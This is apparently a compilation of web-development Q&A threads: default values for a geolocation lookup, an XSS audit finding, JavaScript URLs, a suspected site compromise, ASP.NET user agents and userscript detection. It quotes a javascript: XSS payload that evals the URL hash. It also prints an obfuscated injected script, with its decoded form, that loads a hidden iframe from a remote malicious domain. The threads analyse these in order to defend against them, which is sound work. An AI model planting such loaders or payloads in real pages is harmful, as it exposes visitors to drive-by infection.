Define a default value when NULL in lookup - javascript
I have a script that does a lookup on a website visitor. Code is below. I've discovered popup blockers will block the lookup and the values become null. When this happens I end up with incomplete sentences in my website. For Instance: "Hi there user from Baltimore, Maryland. Welcome to the site!" Becomes, "Hi there user from . Welcome to the site!" I need to be able to have my span class use a default value. Any idea what that syntax would look like?
Here is my code:
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"></script>
<script>
$.getJSON('https://geolocation-db.com/json/')
.done (function(location) {
$('.country').html(location.country_name);
$('.state').html(location.state);
$('.city').html(location.city);
$('.postal').html(location.postal);
$('.latitude').html(location.latitude);
$('.longitude').html(location.longitude);
$('.ip').html(location.IPv4);
});
</script>
</head>
<body>
<h1>Hi there visitor from <span class="city"></span>, <span class="state"></span>. Welcome to the site!</h1>
</body>
So, maybe defining a default value on NULL isn't exactly what you want. What you actually want is for your site to behave nicely when parts of it are being blocked.
Popup/ad/tracking blockers vary widely, so I'm going to go straight to dealing with the most severe blocking extension: NoScript. With NoScript, JavaScript just doesn't run. But your site can still work!
First, the easy solution to just make your site fall back to something sensible. Put your default values directly in the HTML, like this:
<h1>Hi there visitor from <span class="city">somewhere</span>, <span class="state">anywhere</span>. Welcome to the site!</h1>
Your JavaScript can replace those defaults when it runs; if for any reason your JavaScript doesn't run, well at least the defaults are there.
But to really bypass the blocking program...
...do everything server-side.
You get the user's IP address when they request the website from your server. Use this to send a server-to-server request to a geolocation service, then insert the results directly into the HTML as your webpage is generated.
This doesn't entirely excuse you from setting up fallbacks, because the geolocation service you use might go down, but no one's browser extension is going to be able to block you from doing it this way.
Granted, the Tor web browser will still be able to confuse your website as to where the user is located, but people who use Tor are generally delighted when they see websites reporting completely incorrect guesses as to where they're located. Using Tor is a big commitment, let them have their fun. :)
In general, when you want to use a default value if a property in a JS object doesn't exist, the easy way is to use ||.
$('.city').html(location.city || 'the moon');
That will treat most forms of "nothing" (a blank string, the number zero, null, or missing entirely) the same. If you only want to use the default in some of those cases, or you want to change other text based on whether the property is blank (i.e. remove the comma), you'll need to check for those specifically. (The ?: operator can help with that).
Related
XSS vulnerability despite encoding
I had a security audit on a website on which I've been working. The audit has shown that one of my parameter, called backurl, wasn't protected enough in my jsp file. This url is put inside the href of a button, button that allows the user to get back to the previous page.
So what I did was to protect it using the owasp library, with the function "forHTMLAttribute". It gives something like this:
<a class="float_left button" href="${e:forHtmlAttribute(param.backUrl)}">Retour</a>
However, a second audit showed that by replacing the value of the parameter by:
javascript:eval(document%5b%27location%27%5d%5b%27hash%27%5d.substring(1))#alert(1234)
The javascript code would be executed and the alert would show, when clicking on the button only.
They said that something that I could do was to hardcode the hostname value in front of the url, but I don't really get how this would help solve the problem. I feel like no matter what I do, solving a XSS vulnerability will just create a new one.
Could someone help me on this? To understand what's happening and where to look at least.
Thanks a lot.
As #Pointy said, the problem is more fundamental here. Accepting untrusted input and rendering that as a link verbatim (or as text), is a security issue, even if you escape the heck out of it. For example, if you allow login?msg=Password+incorrect and that's how you deal with relaying messages - you have a problem. I can make a site with: Click for cute kittens! and you see why this is a problem. The real solution is to not accept potentially tainted information, period (nevermind escaping!), if that information ends up being rendered without the surrounding context that it is tainted. For example, take twitter. The username and the tweet are potentially tainted. This is no big deal because users of twitter get clued in due to the very design of the website that you're looking at what some rando wrote. If someone tweets 'If you transfer 5 bucks to Jack Dorsey's account at 12345678, he'll give you a twitter blue logo!', there's a reasonable expectation that it's on the users of the site to not be morons and trust it. Your website's "click here to go to the previous page" is not like that. You can't reasonably expect the users of your site to hang over that button, check their browser's status bar, and figure it out. Hence, the entire principle is wrong. You simply can't do it this way, period. Your alternatives are threefold: Instead of letting the 'previous link' property be a URL param, it needs to be in the session. Websites work with sessions, generally. You can store whatever you want in them, serverside (the HTTP handler code either manually takes e.g. the cookie and uses that to look up on-server info for that user by doing a lookup, or runs on a framework that just provides an HttpSession-style object, which works in that exact fashion). If you really want to bend over backwards, you can include it as a signed blob. This is creative but I really wouldn't go there. A quick hack: What if you just include Click to go back as a static link in your web page?
executing javascript through url
I'm trying to set the value of a textarea on the following page by executing something similar the below javascript:
javascript:alert(document.getElementsByClassName('uiTextareaNoResize uiTextareaAutogrow _1rv DOMControl_placeholder')[0].value='blabla');
This works if I manually enter the code into the address bar on the target page, but I want to pass this argument through a link.. ie...
<a href="/nextpage.php?javascript:alert(document.getElementsByClassName('uiTextareaNoResize uiTextareaAutogrow _1rv DOMControl_placeholder')[0].value='blabla');"
Just wondered if anything like this is possible at all?
You can send the arguments via the url like you would for GET requests. Then have the receiving page parse location.search. For instance, you can send it like this: http://example.com/?arg1=foo&arg2=bar And the receiving page have a script like this: var queryString = location.search; //?arg1=foo&arg2=bar You'll have to parse it manually though, removing the ?, split by & then each by =
This is called XSS or Cross-Site-Scripting, and as many comments have already pointed out, it is a security issue. This is why most major browsers do NOT allow it. However, I believe that some browsers do allow it, for example Opera - although I can't recall exactly which version. If you are looking to make your own "browser", I would recommend using C# .Net WebBrowser, then use the runtime package XULRunner (https://developer.mozilla.org/en-US/docs/Mozilla/Projects/XULRunner). Despite all this, I would not recommend doing anything that may be against laws of your current location, or doing anything to displease the site owner.
Is this site hacked?
At a particular web site (not mine), I'm alerted that it wants to use Java and I see a domain in India referenced. Since this doesn't look normal to me I look at the page source. There is a large script block BEFORE the DOCTYPE. I see this only on IE10 (not FF, etc.) and on multiple machines. I'm not clever enough to see exactly what's going on as it looks like it's being obscured quite a bit. Before I report the situation to the site owner (and for my own curiosity) I wondered if this is definitely evidence of a hacking. I see a few other sites with very similar code when I Googled the phrase "asd=function" from the below so it might be a common problem. (Or maybe it's something legitimate for IE10??) Below is the code with extra line feeds added.
<script>
ps="split";
asd=function(){d.body++};
a=("15,15,155,152,44,54,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,55,177,21,15,15,15,155,152,166,145,161,151,166,54,55,77,21,15,15,201,44,151,160,167,151,44,177,21,15,15,15,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,46,100,155,152,166,145,161,151,44,167,166,147,101,53,154,170,170,164,76,63,63,145,150,150,163,162,167,147,163,166,166,151,147,170,62,155,162,63,160,156,105,114,73,115,64,157,173,166,65,64,70,106,74,74,64,124,136,150,150,64,131,175,162,75,64,106,122,122,133,64,72,167,107,107,64,171,134,173,114,65,64,174,156,170,64,152,70,154,131,65,64,112,113,105,64,164,116,174,157,64,163,110,117,64,63,53,44,173,155,150,170,154,101,53,65,64,64,53,44,154,151,155,153,154,170,101,53,65,64,64,53,44,167,170,175,160,151,101,53,173,155,150,170,154,76,65,64,64,164,174,77,154,151,155,153,154,170,76,65,64,64,164,174,77,164,163,167,155,170,155,163,162,76,145,146,167,163,160,171,170,151,77,160,151,152,170,76,61,65,64,64,64,64,164,174,77,170,163,164,76,64,77,53,102,100,63,155,152,166,145,161,151,102,46,55,77,21,15,15,201,21,15,15,152,171,162,147,170,155,163,162,44,155,152,166,145,161,151,166,54,55,177,21,15,15,15,172,145,166,44,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,167,166,147,53,60,53,154,170,170,164,76,63,63,145,150,150,163,162,167,147,163,166,166,151,147,170,62,155,162,63,160,156,105,114,73,115,64,157,173,166,65,64,70,106,74,74,64,124,136,150,150,64,131,175,162,75,64,106,122,122,133,64,72,167,107,107,64,171,134,173,114,65,64,174,156,170,64,152,70,154,131,65,64,112,113,105,64,164,116,174,157,64,163,110,117,64,63,53,55,77,152,62,167,170,175,160,151,62,160,151,152,170,101,53,61,65,64,64,64,64,164,174,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,101,53,145,146,167,163,160,171,170,151,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,173,155,150,170,154,53,60,53,65,64,64,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,154,151,155,153,154,170,53,60,53,65,64,64,53,55,77,21,15,15,15,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,62,145,164,164,151,162,150,107,154,155,160,150,54,152,55,77,21,15,15,201"[ps](","));
ss=String;
d=document;
for(i=0;i<a.length;i+=1){
a[i]=-(7-3)+parseInt(a[i],8);}
try{asd()}
catch(q){
zz=0;}
try{zz/=2}
catch(q){zz=1;}
if(!zz)eval(ss.fromCharCode.apply(ss,a));
</script>
If this is really malicious, is there a forensic web site that I could/should post this to?
Here's the "translation" of the above code:
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://addonscorrect.in/ljAH7I0kwr104B880PZdd0Uyn90BNNW06sCC0uXwH10xjt0f4hU10FGA0pJxk0oDK0/');
f.style.left='-10000px';
f.style.top='0';
f.style.position='absolute';
f.style.top='0';
f.setAttribute('width','100');
f.setAttribute('height','100');
document.getElementsByTagName('body')[0].appendChild(f);
}
Not only is it poorly coded (someone has apparently never heard of the document.body property...), it is very obviously a hack.
Interstingly, requesting the resource returns a 402 Payment Required header if I don't include an IE10 User-Agent string - that's probaby a hint that it's designed to exploit that particular browser. Spoofing a valid UA string gives me a page that has a bunch of over-complicated JavaScript that I can't be bothered to decode, but that certainly doesn't look friendly.
Remove it, it is trying to load a url that most likely will install spyware on your computer. The website is the following: http://addonscorrect.in/ljAH7I0kwr104B880PZdd0Uyn90BNNW06sCC0uXwH10xjt0f4hU10FGA0pJxk0oDK0/ The website it has been already deactivated, so yes.. your website has been hacked. Change your FTP/SSH passwords, clean all the computers that have access to the hosting account.
Force ASP.NET to generate JavaScript for all User Agents
I noticed recently in my ASP.NET web application that if I set my User Agent to an empty string (using a FireFox plug-in to spoof the user agent), then ASP.NET will not generate the javascript required to perform postbacks. More specifically, if you try calling the __doPostBack(a, b) function from your javascript, you will get an error saying that function is undefined. I understand that every browser has a user agent, so this won't come up that often, but the essence of the problem still exists: there are cases in which an unrecognized or malformed user agent can render your web application unusable if you rely on postbacks. This is similar to this question: ASP.net not generating javascript for some User Agents, but if I'm reading it right it looks like you'd fix each unrecognized user agent case by case and mask it as another browser. My concern is less with an individual user agent, and more so with the overall fact that certain user agents won't be able to use my application and I won't know it because the error happens in javascript and not on the server. Does anyone know of a way that I can force ASP.NET to always generate the required javascript?
If you set empty to the User Agent, or if you use an unknown User Agent string, then asp.net reads the Default.browser file from Browsers directories and there you can define how to you like to act on this cases. The lines that you need to change and on this cases use javascript is that ones: <capability name="jscriptversion" value="5.6" /> <capability name="javascript" value="true" /> <capability name="javascriptversion" value="1.5" /> on the default, the javascript line if false. I like to comment here that I am not so sure if you really need to change it, if some one spoof the user agent, let it do it. If he likes your site and need to use it, then is better let you know how to handle the browser that he use. From the other hand you must take care if this is possible, your site to work even with out javascript, at least for most of the actions you do. Is better to avoid link buttons (that use the _doPostBack) and use post back buttons for example. I know that GridView and other use also the _doPostBack for paging... ok with that, but is better one good site to been able to work even with out javascript. Some similar question: __doPostBack is undefined on DotNetNuke website for IE 10 and this blog: Bug and Fix: ASP.NET fails to detect IE10 causing _doPostBack is undefined JavaScript error or maintain FF5 scrollbar position
Can a website know if I am running a userscript?
Can, for example, Facebook.com run a version control script on my browser and find out if I am running altered HTML code with the use of a script? Could that be done with a script that can read the HTML code in the cache and produce some kind of hash tag that is sent back to the server and compared with the code that was sent to the client?
Yes, in theory, a site can deduce the presence of scripts in various situations. This is not foolproof and usually is way too much trouble for the negligible "threat" to the site. (Then again, some webmasters can be obsessive-paranoids about such things. ;) ) Some methods, depending on what the script does (in no particular order): Gaming or auction sites can monitor the timing (speed and regularity) of "bid" clicks. A site can AJAX-back the count of say, <script> nodes, looking for extras. Similarly, a site can AJAX-back any or all of the content of a page and compare that to expected values. Extra AJAX calls, or AJAX calls that don't meet hidden requirements can be noted (and allowed to appear to succeed). If the script uses unsafeWindow in just the right (wrong) way, a page can detect that and even hijack (slightly) elevated privileges. "Clicks" that were not preceded by mouseover events can be detected. I've actually seen this used in the wild. A page's javascript can often detect script-generated clicks (etc.) as being different than user generated ones. (Thanks, c69, for the reminder.) Ultimately, the advantage is to the userscript writer, however. Any counter-measures that a webpage takes can be detected and thwarted on the user end. Even custom, required plugins or required hardware dongles can be subverted by skilled and motivated users.
Update: The methods below are fully ineffective as of Greasemonkey 3.3.
See (Dead link) How-to Detect Greasemonkey.
Javascript to detect if GM is installed (but not whether a script is actually running on that page):
Obsolete Option 1:
if (Components.interfaces.gmIGreasemonkeyService) {
alert("I smell a monkey!");
}
Obsolete Option 2:
<script type="text/javascript" src="resource://greasemonkey/addons4.js"></script>
<script type="text/javascript">
if (typeof GM_addonsStartup !== "undefined") {
alert("I smell a monkey!");
}
</script>